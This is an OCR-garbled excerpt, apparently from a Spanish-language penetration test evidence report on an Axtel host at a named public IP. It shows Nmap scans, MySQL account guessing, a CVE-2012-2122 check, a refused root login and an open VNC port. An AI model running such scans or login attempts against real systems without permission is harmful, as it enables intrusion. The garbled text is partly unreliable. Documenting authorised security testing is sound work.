Starting Nmap 7 ( https://nmap.o: 34 -0400
Nmap scan report for ded-int-189-205-217-181.mexdf.static.axtel.net (189.205.217.181)
Host is up (0.011s latency).

PORT  STATE SERVICE
80/tcp open http

| http-vhos

1_128 names had status 404

Nmap done: 1 IP address (1 host up) scanned in 205.78 seconds

PoC: Axtel vuln 2

Evidencia 8: Pruebas de conexién mediante el comando “mysql”.

Session Actions Edit View Help

189.205.217.181 root
ERROR 2002 (HYQ00): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host
ot allowed to connect to this MariaDB server

mysql-enum,mysql-empty-password,mysql-vuln-cve2012-2122 3306 189
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-31 18:09 -0400
Nmap scan report for ded-int-189-205-217-181.mexdf.static.axtel.net (189.205.217.181)
Host is up (0.011s latency).

PORT STATE SERVICE VERSION

3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)

| _mysql-empty-password: Host '69.162.97.56' is not allowed to connect to this MariaDB server
| mysql-enum:

| Accounts: No valid accounts found

|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in &4.41 seconds

189.205.217.181 5901
(UNKNOWN) [189.205.217.181] 5901 (?) open
RFB 003.008

'69.162.97.56"

is

n
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